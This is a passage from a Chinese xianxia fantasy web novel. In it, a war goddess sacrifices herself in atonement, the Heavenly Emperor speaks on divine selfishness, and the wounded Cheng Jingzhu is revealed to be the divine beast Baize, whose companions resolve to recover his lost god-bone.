男人转过脸,看向崖下众人,声音仍然充满女子的清脆:“你护着他们,可他们却并不领情,他们不明白你的苦心,也不懂得你的难处,这些愚昧低贱的凡人,到底哪一点值得你这样去护?” 股股黑气顺着惠山元君的胸膛涌入“薄舟”的掌心,他回过头,再度看向惠山元君:“真可惜啊……你贵为上界绝无仅有的七杀星,却偏偏爱上这样一个天衣与凡人杂生的孽种,你虽不肯为我所用,宁死也要坚守你所谓的神道,可你的欲却还是替我滋养了这颗火种……” “薄舟”的掌心已经吸收尽那些黑气,却还是往里探,猛地一把攥住了惠山元君那颗神的心脏,他轻声笑:“都说我天衣神族不配为神,九仪再造三界,将你们这些低贱的凡人渡成所谓的神,说你们强大,你们无私,你们为众生……可自今日起,天下妖类都会以岐山群碑为鉴,而天下凡人也都会知道,所谓神无私欲,根本就是一个笑话,你惠山元君……便是一个无用之神。” “薄舟”睨着她,神情轻蔑又厌恶。 他的手在她的胸膛里用力攥住那颗神心,惠山元君口中涌出血来,满手温热的血却令他神情几经扭曲,那样一双原本黑白分明的眼睛里布满血丝,他颈侧的青筋鼓得像是要挣破皮肤,他像如梦初醒般,难以置信地望着自己的手,望着她破损的胸膛,但他口中却发出那少女冷戾的声音:“失了本命法器,你已油尽灯枯,还挣扎什么呢?你这具残缺低贱的躯体还能够为我所用,是你最后的荣幸。” “残缺低贱的……躯体。” 他又重复这句话,却是他本来的声音,他的神情短暂恢复原本的样子,满额的冷汗直冒,他用尽力气地控制着自己的手,一点,一点地松开攥住她神心的指节:“那也是我的身体……你滚出去,滚出去……” 他额头青筋鼓动,用尽全力终于将手从惠山元君的胸口拿了出来,满手的血混合金色的流光,从他瘦削的指节滴滴滑落,他眼眶骤红,颤声:“阿叶,对不起,对不起……” 惠山元君神心受损,又被生生剥出火种,她连他说了什么都听不清,浑身神力冲撞得她剧痛无边。 “孽种,你不是很爱她吗?我捏碎她的神心,正好让她和你一起死……”他口中再度发出少女天真又残忍的声音,他的手再度不受控地抓向她胸前的破口,又生生止住,他的脸变得狰狞,撑得涨红。 他忽然仰首,插于阵眼的血红短匕飞回峰上,化为数道利刃,骤然刺穿他身上的每一处关节。 短匕随之碎裂消散。 温热的血液迸溅在惠山元君的脸上,她猛然一顿,勉强抬起眼睛,模糊中,她看到眼前的这个人,她愣愣地唤:“薄舟……” 薄舟口中涌出血来,他的神情却是那么的锐利。 倒下去,惠山元君本能地抱住他。 此时,空中滚滚金雷轰然坠下,连破结界,击碎金阵,一片连绵的脆声之中,紫府归一,诛妖伏鬼,玄枢寂元全都化为乌有,天边雷声起伏,大雨倾泻而下,濯洗整个岐山。 众人抬首,只见那片金芒耀耀的雷云之中,一人立于云端,他衣缀祥云,身上游龙栩栩,戴珠冕,身形修峻,威仪万方。 程净竹眼睑血红,他什么也看不清,但听金雷,又闻鹤鸣,风雨潇潇,他垂下眼帘,用尽最后的力气结出印来,身化轻烟,缕缕落入赤金香炉之中。 积玉连忙将那香炉捧到怀里。 “小神……” 惠山元君神情木然,怀中抱着奄奄一息的薄舟,俯身敬拜。 底下僧道们俱是一惊,他们连忙跪地,连声大拜天帝。 天帝在云中下视,目光匆匆在底下那些人影之中徘徊许久,最终,凝在积玉怀中的那只赤金香炉上。 疾风吹动他青黑的胡须,目光倏尔落在玉峰上那惠山元君的身上:“惠山元君,谁准你擅用玄枢寂元阵?你想欺瞒朕什么?” 天帝眉目威严,声音响彻四方,威压层层压下,惠山元君一瞬气血上涌,吐出血来,她强忍浑身剧痛,嘶哑着嗓音:“天帝陛下,小神有罪……但小神无意伤害殿下。” 天帝威压降在惠山元君身上的刹那,他便立即觉出端倪:“你难道以为,你的罪,仅是你伤我儿之罪?惠山元君,告诉朕,你的神力到底是从何时开始消散的?” “因为他?” 天帝在云端睨着她怀中那个浑身浴血的人:“他是个天衣人?” 惠山元君缓缓仰起脸,风雨如晦,阴沉的天色之中,天帝所处的那片云却金霞灿灿,像征着上界威严的金雷不断地穿梭闪烁在层云之间,她望着天帝,道:“他并不算是一个纯粹的天衣人,他的身体里还有一半凡人的血,所以,他生来就背负着天衣人的诅咒。” “你为给他解咒,为他续命,所以用了共生之法。” 天帝一副笃定的口吻,威严质问:“可你有没有想过,你是七杀星,是我上界唯一的战神,你的神力关乎着整个凡间军队的安危?” “小神知罪。” 惠山元君说道:“小神也并没有妄想一直欺瞒天帝陛下,可是,天帝陛下……小神有惑,这惑在小神心中已久,今日,终于可以问一问陛下。” 天帝垂眸:“你有何惑?” 惠山元君看向怀中的薄舟,说:“小神不明白,为什么小神爱一个人,就要神力消散,是因为他是天衣人吗?可昔年九仪娘娘不也爱上了天衣圣子?为什么娘娘可以,小神却不行……” “你竟以为,你神力消散是因为爱?” 天帝缓缓摇头,他看向惠山元君:“爱,本没有错,我上界并无天规戒律一定要神断情绝爱,九仪娘娘爱天衣圣子没有错,你爱上这个天衣人也没有错,爱会生欲,而人的七情六欲,神也有,若神没有七情六欲,那便离人太远,又谈何爱世人?但爱生欲,可以生万般的欲,有人因爱而得勇气,有人因爱而得安宁,有人因爱而知责任……” “惠山元君,你的爱却生出私欲,为他解咒,你不惜动用共生之法,你这一念起时,可有想过你的神力会有损,而人间诸国军中都会因你的私欲而受妖祸侵袭?” 不是……因为爱吗? 是因为她有了私欲?惠山元君怔怔地望着云端之上的天帝,片刻,她道:“小神自知有罪,所以才想要弥补,小神知道,天衣人卷土重来,必然祸乱人间,若无小神神力威慑,人间必定战火四起,小神身为七杀星,并非不敢承担自己的罪责,而是若小神先陨,而天衣人成势,人间战火难止,小神万死难赎!” 所以,她才一定要一只冬螓来弥补她日渐消散的本源,疏通她淤滞的神窍。 她早已神丹破损,所以才要一颗清元金丹来暂时代替神丹,减缓神力的消散。 “诚如你所言,七杀星难得,”天帝在云端道,“惠山元君,你可知古来将星无数,为何唯有你飞升为七杀星,成为上界唯一的战神?” 惠山元君摇头:“小神不知。” “六千年来,人间枭雄何其多,他们的杀伐之气未必不比你凛冽,可七杀星最重要的却并非是杀伐之气,你身为女子之身,感故国多灾多难,女扮男装科举入仕,立下宏愿,一生为国,哪怕再不能堂堂正正做个女子,你做的是文官,但却不忘勤修武道,以备杀贼,纵你一人之力,却终究难挽大厦之将倾,故国颓势已定,而你死守一城,不退,不惧,直到君王死,国都破,你仍不降,强求外敌使者立誓善待百姓,不杀一人,才悬梁堂上,殉国而死……到你死,也没有人知道你本是个女子。” 天帝寥寥数语,谈及惠山元君的过去,她眸光微动,沉默不语。 “你成七杀星,并非是因为你的杀伐之气,而是因为你有一颗仁心,你的仁心,便是你的勇气,是你为国为家,为求正道的勇气,你悟了道,道才渡了你,可成为神仙,神仍有七情六欲,既有七情六欲,便难保心不会变,神若有私,有恨,有偏,即为不悟,从悟到不悟,神力便会消散,从此神殒。” “你的爱没有错,错的是你的私,你的执,你的偏,是你造成了军中妖祸的恶果,你说你想要弥补你的罪,可你却令一山精怪都化为怨灵碑,这些怨灵碑,才是你最大的罪。” 天帝说道。 惠山元君闭了闭眼,眼泪无声落下。 “阿叶。” 怀中,虚弱的声音落来。 惠山元君一下睁开眼,她看向薄舟,他半睁着眼,勉强抬起手想要触摸她的脸,可他看到自己残缺的手指,又顿住了。 “还记得吗阿叶?我曾第一次见你,你的金弓落在枫山下,我在那里等了你七年,终于等到你来,你已经有了新的弓,可却还是收下了我还你的弓……” 薄舟的声音很轻:“我那时跟着你,是因为你是神,我想知道神有没有什么办法助我摆脱诅咒,我真的很恨我为什么是个天衣人,我恨我的父母为什么要在一起,为什么要生下我,让我生来残缺,让我受困诅咒……你说过,神不能掌控凡人的命运,天道也不可以,可天衣人却偏偏用诅咒掌控了我的命,我必须做天衣人的傀儡,做他们的奴隶,被他们厌恶,被他们利用……可我不愿,我要我的命只属于我自己……阿叶,对我来说,你便是一个最好的神仙,哪怕你后来发现我是一个天衣混血,你却没有杀我,你看到了我的苦难。” 薄舟望着她,说:“我妄想摆脱我这破烂的命运,走遍天下,试遍万法,都不得解,那时你看着我,可有觉得我自不量力,十分可笑?” “没有,一刻也没有……” 惠山元君摇头。 薄舟笑了笑:“是,你没有,你用你神的仁慈来怜悯我,甚至,你爱我,这是我一生最幸运的事。” “我还记得,你有一次下界除妖,那时我跟着你,途径蓬山见那里大旱,地裂千里,死人无数,你说气象是天道的变幻,并不能由神掌控,但神有施云布雨之能,你未向上界请示便私自布雨,我问你,蓬山附近便是你的故乡,你为何不给那里多下一些雨?你却给我讲了个《续黄粱》的故事,故事中的贪官扶助亲故,除尽异己,视朝廷如其一家,终碎美梦,万劫不复,你说雨多一下些并不一定是好事,无雨成旱,雨多成洪,而你身为神仙,天下四海皆如故土,你不能偏,也不能私,若我早知我害你如此,我……宁愿一死。” 惠山元君指节紧握起来。 薄舟说了太多话,气力不够,声音更轻:“阿叶,别怕,做错了事,就去承担。” 惠山元君浑身一颤。 薄舟已经没有声息了,那双眼睛却始终望着她。 如梦初醒般,惠山元君终于明白过来,她真的……仅仅只是因为想要弥补她所犯下的罪才走到今日这一步的么? 不,并不全是。 她心中有惧。 滋养那颗火种的,正是她的惧。 她成神两千年,掌杀伐日久,乍遇神力消散,她心中便生出了惧,她害怕自己力量的消失,怕自己千年功业毁于一旦。 “天帝陛下,小神……错了。” 惠山元君泪如雨落,她伏下身,抱紧薄舟,浑身金芒如缕,四散而开,众僧道们只见那些金芒所落之处,草木渐生,而如萤的怨灵受金光所照,化成一道道莹白的影子,那些影子落于碑下,生根发芽。 “小神罪业难赎,愿以此身所有神力还复岐山生机,从此神魂永锢岐山,以我之魄,养护一山生灵。” 惠山元君声音犹在,她的身影却与怀中人一道,化于无形。 赤金香炉中,阿姮跪坐在程净竹身边。 他自进到这香炉中来,便已不省人事,他几乎浑身都是血,身上的宝珠碎了大半,连银尾法绳上的珠饰也全部损毁。 阿姮触摸他颈间金色的裂纹,却被灼得手指头都破了。 “小神仙……” 阿姮捧起他的脸,却发现他身上的温度竟然那么的冷,冷得不像是一个人类。 可她一点办法也没有。 她俯身抱住他,又意识到自己不是人类,身上也很冷,并不能给他一点温暖,但阿姮还是抱住他,脸颊贴着他的脸颊。 傀儡术…… 对,还有傀儡术! 阿姮一下起身,结印施术,躺在她面前的少年顿时在一阵烟雾中化成了一个布娃娃。 哪怕成了布娃娃,他身上也还是遍布着金色的裂纹。 漂亮的珠饰不剩什么了,衣衫也都是血。 阿姮将娃娃拿起来,紧紧地抱在怀里。 第69章 第69章 她转过脸,抱紧布娃娃,化雾…… 耀耀金霞与层云相织, 天帝凌空下视,惠山元君化于无形,而死山顷刻便有生机复现,他在云端道:“身为神, 心中生偏, 生私, 则注定神殒,我上界不能没有七杀星,可神殒之局, 滥杀之罪自有天道决断, 诸天神佛自古无一可脱其身, 你也不能, 从此上界再无惠山元君,你归寂于此, 便在此赎尽你的罪孽吧。” 天帝再看向底下那片密若织蚁, 俯身跪拜的人影,道:“凡世间道中之人, 多以神仙谕示为金科玉律, 以神的道为自己的道, 道中生, 道中死, 可神从人来,故七情六欲不绝,因为悟了道, 所以人成神,亦因悟了道,所以神更加谨身克己, 若神曾悟之道又化为不悟,生偏,生私,所昭神谕即有偏,有私,便不该教世人奉为正理……你等今日面对心中崇敬之神,却仍敢疑,敢问,敢发心中不平,实为人间大幸。” 三真道人与无晦子等一众僧道闻言,不禁小心翼翼地抬起头望向那云霞灿烂的天边,交织的光太耀眼,他们忍不住眯起眼睛,却仍看不清云端之上天帝的轮廓。 众人心中,脸上,都是一样的崇敬之色。 “朕盼诸位永奉自身的本心为道,如今七杀星陨落,人间妖祸必然更胜从前,朕早已令诸神下界,平乱四方,还盼尔等道中之人亦尽其力,共诛邪魔。” 天帝的声音响彻岐山。 三真道人与无晦子连忙大拜,齐声道:“敬领天帝陛下之命,我等必尽此身道行,除魔卫道!” 其他僧道们亦高声敬拜:“尽吾之力,除魔卫道!” “尽吾之力,除魔卫道!” 积玉满脸都是灰,他亦俯身拜道:“尽吾之力,除魔卫道……” 天边云霞缭绕,长风无边,天帝垂眸看向底下的积玉,因为他伏拜的动作,他怀中的那个赤金香炉只露出一角,落在天帝眼中,便成了一点微末的颜色。 天帝的指节在袖中蜷握了一下,最终,他转过身,身影随云霞散开,金光不复,翻滚的滔天闷雷也顷刻消失。 小山站在山崖上,望着天边最后一道云彩消失,他愣了会儿,连忙往崖下爬,霖娘在底下见了,扬手以流水相托,及时将小山带下崖来。 细长的雨丝飘飞着,满山都是沙沙的声音,霖娘抹了一把脸,冲到积玉身边捧起来他怀中的香炉:“阿姮?阿姮……” 积玉连忙结出金印投落赤金香炉之上,随后香炉口烟雾袅袅,缓缓化出阿姮的身形,她坐在地上,手中捧着个布娃娃。 那布娃娃浑身布满了金色裂纹,身上的珠饰已经损毁大半,沾了血,看起来有点脏兮兮的。 “小师叔……” 积玉的眼泪在眼眶里打转。 阿姮抬起头:“为什么傀儡术也没有用了?” “看起来并不是没有用。” 无晦子走了过来:“而是他伤得太重了。” 阿姮回过头,看向他。 那三真道人三步并作两步过来,抬手招呼着他的师弟们还有那些僧道们:“诸位,快来快来!” 众人正挽袖预备施展术法救治一番,那无晦子率先以一指法力在那布娃娃身上探了探,随后他拧起眉头,对三真道:“你们不必忙了。” “你什么意思?” 三真道人愣了一下。 无晦子再度看向阿姮手中的布娃娃,说:“他的神魂与这副血肉身躯十分的不相配,但若无这副身躯在,他的神魂只怕早就散了个干净,他和常人不一样,他如今深受重创需要很多的清气,而且是精纯清气,精纯清气本就十分难得,我们大多也并不苛求此道,所以就算将这身道行散尽,我们的清气对他来说也是没有什么用的。” “那……这可怎么办?” 三真道人一下变了脸色,他又想到今日惠山元君的话,不由说道:“那元君口口声声称这位……这位小友为殿下,天帝陛下似乎也亲口承认他是……” 三真道人顿了一下,费解道:“既然如此,天帝陛下又为何不出手救他呢?” 非但不救,还什么都没说,甚至连面都没见就消失了。 无晦子想到程净竹向天结出的那道印,又想起天帝现身之际,程净竹将自己化入那赤金香炉之中,只怕真正不想父子相见的,并非天帝,而是这位身份不明的小殿下。 无晦子道:“天帝陛下是众神之首,天地表率,他绝不会袖手旁观,除非……” “除非什么?” 三真连忙追问。 “除非这是天帝也无能为力的事情。” 无晦子沉声说道。 山中的风变得很轻,雨丝沙沙,轻拂而过,阿姮垂眸望着布娃娃,金色的裂纹闪烁着,娃娃一点声息也没有,他总是寡言的,上次被她变成布娃娃,如果不是她故意玩他的头发,摆弄他的衣裳,他根本都不会理她。 只有在忍无可忍的时候,他才会冷冷地训斥。 但是今日不一样了,他是真的一点动静也没有。 “不可能,绝不可能!” 积玉说什么也不敢相信,他立即盘腿而坐:“师父一定有办法!我这就问师父!” 上清紫霄宫有一种传音之术,非情况危急不能动用,积玉此时已经是什么也顾不得了,他取出怀中的一只布囊,里面是一截乌精木,他咬破手指,结出一道繁复的血印:“吾血吾魂,须脉如缕,普告万灵,令吾通真!” 缕缕血气从积玉周身涌向血印,血印融入乌精木之中,他闭起眼睛,心中急急念道:“师父……师父!” 耳边原本柔和的风雨之声变得无比尖锐,好像他心内的声音正在瞬息之间越过千里万里,通过乌精木对于根须的感应,去到师父阳钧的耳边。 “积玉?” 尖锐的风雨之声尽头,果然响起阳钧的回音:“你怎么动用了乌精木?到底出了什……” 但忽然之间,阳钧的声音戛然而止。 “师父!” 积玉不知道这是怎么回事,急得满头大汗,却忽然从风雨之中听到声声鹤鸣,紧随而来的,是一道更加苍老的声音:“是积玉么?好多年不见,你长大了。” “你……” 积玉眉头拢起,好一会儿,他有些不太确定地问:“您是……师祖么?” 上清紫霄宫药王殿的师祖早在积玉儿时便已经飞升上界,积玉对师祖的记忆并不清晰。 “好小子,还没忘了师祖。” 慈济真君的声音响彻他的脑海。 “真是师祖!” 积玉连忙说道:“师祖!求您救救小师叔!” 慈济真君却道:“天帝降临岐山,尚且无计可施,我又有什么办法呢?他这伤,人间难救,上界亦难救。” “不……师祖,就真的没有办法了吗?您和师父从前不是救过小师叔一回吗?为什么不能再救他一回呢?” 积玉苦苦哀求。 除积玉外,并无他人听得见这传音,阿姮与霖娘只见积玉眉头忽然拧得死紧,像一个深陷睡梦又不得安宁的人,所有的人都望着他,不知不觉等了许久,忽然,积玉浑身一震,猛然睁开双眼,胸膛起伏,吐出血来。 “积玉!” “积玉哥哥!” 霖娘和小山同时出声。 乌精木倏尔自燃,顷刻烧成了一搓灰烬。 积玉借由霖娘的搀扶勉强稳住身形,他缓了缓,对上阿姮的目光,他才找回自己的声音:“我……与师祖传了音。” “师祖?不是你师父么?” 霖娘问道。 “我也不知道是怎么回事……” 积玉摇了摇头。 “药王殿师祖,那不就是慈济真君么?”三真道人连忙问他道,“慈济真君到底与你说了些什么?他可有什么办法?” “师祖说,这是天帝都没有办法的事。” 积玉说道。 众人一默,竟然真的被无晦子说中了? 无晦子则看向积玉:“你可是已经得知这位程小友的身份?” “师祖告诉我,从前世上有一座仙山,名昆仑,昆仑山孕育了九眼泉,”积玉像是还没有回过神来,“也化出了一位昆仑玉姬,玉姬夫人生三女二子,坍鸿时期,玉姬夫人随九仪娘娘共抗天衣人,最终,玉姬夫人与她的二子二女全部殒灭,仅剩一个尚未破壳的血脉,后来,九仪娘娘封印天衣人,化去清气再造三界,成就满天神仙,那之后,玉姬夫人的血脉又历经千年之久方才破壳成形,天帝陛下收其为义子,赐名——白泽。” “白泽?” 有老道闻言,不由惊呼:“贫道曾在古籍上见过,白泽生来便是瑞兽,他在上界,上界便祥云不散,他生来便有祥和之力,可保风调雨顺,国泰民安,我小时候还听人说,凡是白泽的祷祝,言出必应!” “我好像也听说过……但我以为白泽之说,只是个没头没尾的古怪传说啊!” 有人说道。 “难怪……” 三真道人摸着脑袋,恍然大悟:“难怪那惠山元君说他是上界最宝贵的神……” “所以,” 阿姮垂眸,望着布娃娃,终于出声,“他从来都不是一个人类,那他这副人类的血肉之躯是怎么一回事?” “活人命,死身躯。” 积玉也看向那布娃娃:“到今日我才真正明白这其中的深意,师祖和师父曾在山中意外遇见一副残魂,那时师祖便知道了他的身份,为了保住这副残魂,师父听师祖的吩咐找来一个先天不足,刚刚夭折的婴孩,想尽办法使小师叔得以借一副人类的血肉之躯复生,但他的神魂却并非是这副身躯可以承受的,但为了让他活下去,师祖别无他法,只能借我上清紫霄宫的戒痕作封印,戒痕便是小师叔的命,若戒痕消失,小师叔就会神死魂消……” 积玉忽然有些哽咽:“药王殿清规虽多,师父却从未苛求殿中弟子斩断红尘,唯独小师叔,师父总要提醒他不许动情,我曾以为,是因为小师叔是药王殿未来的殿师,所以师父才对他处处严苛,却没想到竟然是这样的缘故……” 不许动情。 阿姮眸光一闪。 她下意识伸手摸自己的脸,她的脸颊上还残留着他戒痕流淌下来的血。 “他自己的身躯呢?” 阿姮开口。 “九仪娘娘将天衣人镇压在赤戎,可天衣人光复之心不死,那时白泽出世还不到一年,天衣人出不去赤戎,便用尽手段使赤戎漂浮不定,踪影难觅,上界忽然探查不到赤戎的方位,众神想尽办法也无法改此变局,天衣人借本命法器而活,法器不除,他们便不死不灭,他们对法器,对阵法,乃至对极致的术都有其独特的建树,他们是绝不会放弃抵抗的,果然没过多久,天帝便感应到封印松动了。” “若放任不管,天衣人必定从赤戎出来,再度为祸人间,众神有心阻止,却始终无法找准赤戎的方位,此时,有神仙向天帝进言,白泽乃祥瑞化身,他天生可以感知三界之中所有的炁,自然也能找得到封印所在之地。” “天帝答应了?” 阿姮道。 “天帝起初并不肯,因为白泽才刚刚出世,天帝不欲让他背负这些,但眼见情势危急,众神在凌霄殿上连日请命,天帝陛下不敢让九仪娘娘与坍鸿时期所有抵抗天衣的人所付出的一切付之一炬,所以,他应了。” 积玉继续说道:“众神决心率领天兵随白泽殿下同入赤戎,哪怕身死道消,也绝不能让天衣人从赤戎出来,但那一日,却只有白泽殿下入了赤戎。” 阿姮暗红的眸子盯住他:“不是身死道消也绝不退缩吗?” “没有人退缩。” 积玉摇头:“师祖说,满天诸神没有任何人想要退缩,只是那一日,他们方才发现,只有白泽可以感知三界之中所有的炁,也自然只有白泽可以无拘地出入世间任何地方,他是祥瑞,是如风霜雨雪一样对这世间一样重要的存在,诸神率领天兵在他身后,却眼睁睁看他消失了,从此再没有出现过。” “那已经是千年前的事了,没有人知道赤戎发生了什么,天帝和众神只见千年来人间风平海静,他们从来没有放弃过寻找赤戎,寻找白泽,却始终没有任何音讯。” “师祖明明知道他的身份,但他看得出小师叔对上界,对天帝,对满天诸神的抗拒,所以,他什么也没说。” 积玉的声音很轻:“师祖猜,那时小师叔孤身在赤戎,一定经历了很艰难,很痛苦的一战,否则天衣人不可能沉寂这么久,那之后他的神骨就丢了,只剩一副残魂漂浮山中,被师祖和师父捡了回去……” 众人陷入死寂。 再是天生瑞兽,亦才破壳出世一年而已,三真不禁想,也许这位白泽殿下连天宫都没有逛全,连在云端望一望底下的人间也来不及,便被那么多的不得已推向一个惨烈的战场,他还不曾见过苍生,便要为了苍生。 众神谁也不甘退缩,可最终的事实却是,他们的确让这位白泽殿下一个人去面对了整个赤戎的天衣人。 千年。 他消失了太久,久到人间只有古籍上才能找得见他的一丝踪影,久到人们都以为白泽之时一个虚无缥缈的传闻。 阿姮不知道自己存在了多久,也无法丈量千年到底有多长,她却忽然想起赤戎,想起那座神山,她睫毛颤动:“他的神骨……在赤戎?” “师祖说,应该是的。” 积玉说道:“小师叔的这副身躯支撑不了多久了,师祖说,必须要找到他的神骨,只要有了神骨,他便能重塑身躯。” 阿姮却还在想那座神山,她忽然想起与泥妖在洞窟中打斗的那个时候,她曾摔到一处石台上,石衣层层剥落,露出其中晶莹剔透的内里,如同坚冰,像是一个巨大的兽类的爪子,微微的蜷握着。 阿姮忽然惊觉自己错过了什么,她捧着布娃娃,“腾”的一下站起来:“那些璧髓……就是他的骨头。” 霖娘浑身一震。 她张了张嘴,风雨之间,望着阿姮,她又发不出一点声音。 若……若璧髓便是白泽的神骨,那么,这么多年来,她的爹,她的村人,所有人全部都在挖他的骨,敲他的髓。 “因为他是白泽,所以他才可以再次找到赤戎,所以,他才会从一开始就那么笃定,黑水村的清骨病根本不是什么山神诅咒,而是他们借璧髓濯尽黑水,却无法以凡人之躯承受璧髓之中的神力。” 阿姮想起第一次遇见他的那场雨,跟今日这场雨很相像,风始终轻柔,雨总是沙沙的,她触摸着布娃娃身上的金色裂纹,问积玉:“那这个又是因为什么?” 积玉要张口,眼眶却先红了。 此时雨滴滴答答地打在众人身上,小山下意识地摸了一把后颈,手却忽然一顿,他摊开掌心,发现两片濡湿的,剔透的翅膀贴在他手心里,微微闪着光,小山瞪大双眼,嘴唇抖了抖:“小勤……” 是小勤的翅膀。 那三真道人只看了他手心里的翅膀一眼,便说道:“这冬螓还有救!” “有……救?” 小山愣愣的。 无晦子也观察了一番,断言道:“冬螓本源不在其身,而在其翅,本源不散,自然还有的救。” 此时,积玉缓缓从怀中掏出来一枚小小的珠花,说:“我儿时便觉得小师叔有言出法随的本事,那不是我的错觉,我娘的珠花不是凑巧回到我手里的,是因为小师叔说我一定找得到,所以我才找得到。” “他是白泽,有祷祝应言的能力,可是师祖说,他失去了自己的神骨,没有了从前的身躯,只要施展这种能力,他身上就会出现这种裂纹,失去神骨,强行祷祝应言,正如剔骨凌迟。” 积玉的眼泪砸下来,滴在珠花上。 小山顿时想到在山崖上,程净竹抓住他的衣领,盯住他的眼睛,对他说,小勤不会死,然后,小勤的翅膀就不知不觉落到他的后颈。 小山呆呆的,眼中涌出泪。 积玉擦了把脸,站起身来:“阿姮,霖娘,当务之急,是要赶紧送小师叔回到赤戎,取回神骨!” “可要取回他的神骨,天上的神仙答应吗?” 阿姮盯着他。 “师祖说要救小师叔,这是唯一的办法,”积玉说着,摊开自己的一只手掌,掌心赫然闪动一道金光印,“这是他给我的金印,这个东西可以暂时维持住小师叔身上的封印。” 积玉话音才落,那金印便从他掌中飞落至阿姮手中的布娃娃身上,顿时隐于无形,阿姮望着布娃娃,又听见积玉说:“路上我们还得想办法多寻些珍奇宝饰,世间的珍稀珠石皆是精纯清气所化,而只有精纯清气才能够医治小师叔受损的本源。” 阿姮的鬓发被雨沾湿,她反应了好一会儿,轻声喃喃:“原来不是因为爱漂亮啊……” 他的生命,需要精纯清气才能维系,所以常常一身珠饰,神貌端严。 “可……若是取回殿下的神骨,那赤戎之中被镇压的天衣人会不会……” 人群中,忽然有个年轻道士迟疑出声。 阿姮一瞬抬眸,道士对上她那双暗红妖异的眸子,骤然住声。 也正是这顷刻之间,众人只见阿姮的身影骤然化为红雾,很快飞浮至山崖之上,积玉见状,立即带着霖娘与小山御剑而上。 阿姮在风雾中回头,崖底那些僧道黑压压一片,那个石潭已被巨石掩盖,再也不见潭中碧瑛的身影,唯有血水横流,穿石而过。 阿姮摊开手掌,那粒沾血的妖丹还在她手心里。 她忽然握紧。 细细的黑灰从她手心的缝隙里流淌出来,积玉惊谔地望着她:“即便是浊丹,那也是清元妖丹,她甘愿送给你,你知不知你若用了它,凭你的本事,你一定可以用得好那三千年的修为……” “那是她的修为,不是我的。” 阿姮说着,手掌舒展开来,黑灰随风散去:“我再也不吃妖丹了。” 霖娘想起蛛女,人无黑色的心脏与赤色的心脏之分,可这个世间却以妖丹的黑与赤来断妖的善恶,玄门众人取黑丹收为己用,是不成文的默契约定,霖娘从前也没觉得有什么不对,可如今看来,不对,那根本不对。 霖娘抹了一把眼泪,说:“我……也再不吃妖丹了。” 山中草木不复,只有一簇簇微小的新芽,红雾在山间飞快流动,霖娘与小山在积玉的金剑上紧随其后至岐山脚下,霖娘忽然发觉脚下金剑不稳,她立即伸手去拉积玉,却为时已晚,积玉身子一歪,栽下云端。 金剑失去法诀作用,顷刻变小,风中积玉勉强睁眼,模糊中见小山与霖娘一同掉下来,他立即并指结印,金剑分化为两把,同时变大分别飞去托住小山与霖娘。 阿姮在红雾中回头,她立即循着积玉摔下去的方向落下,红雾及时托住积玉,使他平稳落地,阿姮化出身形:“你怎么了?” 积玉只觉得头晕目眩,胸中隐隐作痛,他掏出来个瓷瓶,喂了粒药丸到嘴里,才说:“这是动用乌精木传音的代价,也没有什么大碍,只是损失了些功力而已。” 金剑落下,霖娘快步奔来,见积玉脸色惨白,她急切地问:“积玉,你没事吧?” 积玉摇了摇头,金剑悬在半空不动,他神情一滞:“小山呢?” 霖娘回头,果然不见小山。 “小山方才明明……”霖娘转过脸来,却见积玉鼻子里流出血来,连他的耳廓里也浸出血,霖娘的声音戛然而止。 积玉明显还没缓过劲。 “霖娘,你守他一会儿,我去找那个小崽子。” 阿姮抱着布娃娃,抬袖,红雾浮动,金剑的剑锋立即调转了个方向,那是它的分身的方向,也该是小山的方向。 小山死死地抱着金剑,一点也不敢睁开眼睛,直到风声不再,他嗅到湿润的草木清香,他后知后觉地睁开眼,发觉自己正趴在一片绿茵茵的草地上。 金剑被他压在身下,闪烁光芒。 山间的雨丝轻轻拂过他的脸庞,他一下坐起来,四下一望,烟雨无限,却根本不见阿姮、积玉与霖娘三人。 小山觉得手心里有点烫,他一下展开手掌,发现那两片透明的翅膀竟然不知何时已经结成了一枚雪白的茧。 轻柔的风迎面吹来,小山抬起头,那片朦胧的雨雾之中,一片幽绿的山坡上似乎有一个人,雨沙沙的,灰暗的天色下,那人衣摆素白。 “青娥姐姐……?” 小山揉了揉眼睛,他一下起身。 风雾中,那少女没动。 小山快步朝她奔去,到了山坡上:“真的是你,青娥姐姐!” 少女衫裙雪白,乌黑的发髻无一珠饰,耳边湿润的浅发贴着她苍白的皮肤,那样一双眼睛再没有了布条的遮挡,眼皮与眼睑早已长在了一起,留下两道并不平整的疤痕,但这样的疤痕却并不影响她五官的秀丽,风吹拂着她的衣衫,宽大的衣袖迎风而动,更衬其身形弱不胜衣,她微微垂首,循着小山声音传来的方向,一笑:“小山。” “姐姐,你为什么会在这儿?” 小山左右一望,烟雨几乎将天地融为一色,似乎根本没有什么其他的人:“你是自己来的吗?我们不是说好,你在那里等我么?” 青娥没有解释,只是说:“我等不了你了。” “什么意思?” 小山觉得她有点怪怪的。 青娥说:“小山,我要走了,所以今日,我特来与你告别。” “你要回家了吗?我可以送你……” 小山说着,却又忽然一顿,他暗自打量着面前的青娥,她似乎是一个人来的,可她却穿着这样干净的衣裳,那样光滑漂亮的料子,他从来也没有见过。 明明从前没有他的搀扶,她便寸步难行。 青娥似乎一点也感觉不到他的目光,她没有回答,却问他:“你找到小勤了?” “找到了。” 小山摊开手掌,说:“他在这里,他变成了一只茧。” “茧啊……” 青娥轻轻点头:“既然是茧,那他总有破茧的一日,他还活着,你的愿望也算是实现了,你也不必对他怀抱那么多的歉疚了。” “我还要带他去找我娘,这样我娘在底下也会安心。” 小山说。 青娥却轻笑一声:“傻小山,人类死后都会入轮回,你娘早就只剩坟中白骨,再也听不到你说话,自然也不会不安心,你小小年纪,为什么要让自己背负那么多的东西呢?你若像其他孩子一样活得简单些,你一定会好好长大的。” “姐姐……?” 小山根本听不懂她在说什么,垂眸却发觉她右手的手背上竟然少了一片皮肤,一枚绿莹莹的玉片就那么嵌在她的手背里,边缘的皮肉卷曲而狰狞,玉片泛着冷冷的光,更衬她皮肤惨白。 小山一下变了脸色:“你这是怎么了?你的手……” “你总是这样。” 青娥却忽然打断他,随后,她轻轻地叹了一声:“自从遇见你,你就一直在做我的眼睛,做我的竹杖。” 青娥伸手,纤细的手指轻抚小山的脸颊,冰冷的触感令小山一颤,随后,他抬起一双乌黑明亮的眼睛,望着面前的青娥,听见她说:“我不明白,明明我和你一点关系都没有,你却宁愿自己饿肚子,也要把找来的食物给我吃,我也不明白,小勤是妖,你是人,你们明明不同类,你却甘愿为他翻越千山万水……对你们凡人来说,最重要的不应该是血亲么?” 什么……你们凡人? 小山皱了一下眉,说:“朋友也很重要啊!” 